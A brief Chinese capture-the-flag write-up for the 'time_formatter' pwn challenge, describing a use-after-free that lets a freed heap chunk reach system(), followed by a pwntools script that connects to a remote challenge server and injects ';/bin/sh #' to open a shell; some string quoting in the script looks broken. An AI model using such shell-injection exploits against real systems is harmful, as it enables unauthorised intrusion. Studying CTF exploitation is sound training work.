time_formatter
题目先给出一个菜单
选择1设置参数 格式化字符串
选择2设置参数 指定时间戳
选择3设置参数 时区
选择4对已有 时区参数的情况做处理
选择5退出 (可选择是否 退出)
选择1 malloc
选择3同样是一个malloc
选择4 一个后面,读入字符串,并作为system的参数
选择5 free掉ptr、value两个堆块
利用use after free
选择1设置 格式化字符串 (malloc(n))
选择3设置时区 (malloc(n)),传入参数/bin/sh,利用’’\将参数括起来,‘;’用来传参
选择5 退出 (选择否 , 目的是 free上面的两个块)
选择3设置时区(消耗时区 free的块)
选择4设置时区 (使用格式化字符串free的块)
exp
from pwn import *
r = remote("111.198.29.45", 30168)
r.send("1" + "\n")
r.send("%c" + "\n")
r.send("3" + "\n")
r.send("\'"+";/bin/sh #"+"\" + "\n")
r.send("5" + "\n")
r.send("\n")
r.send("3" + "\n")
r.send("\'"+";/bin/sh #"+"\" + "\n")
r.send("4" + "\n")
r.interactive()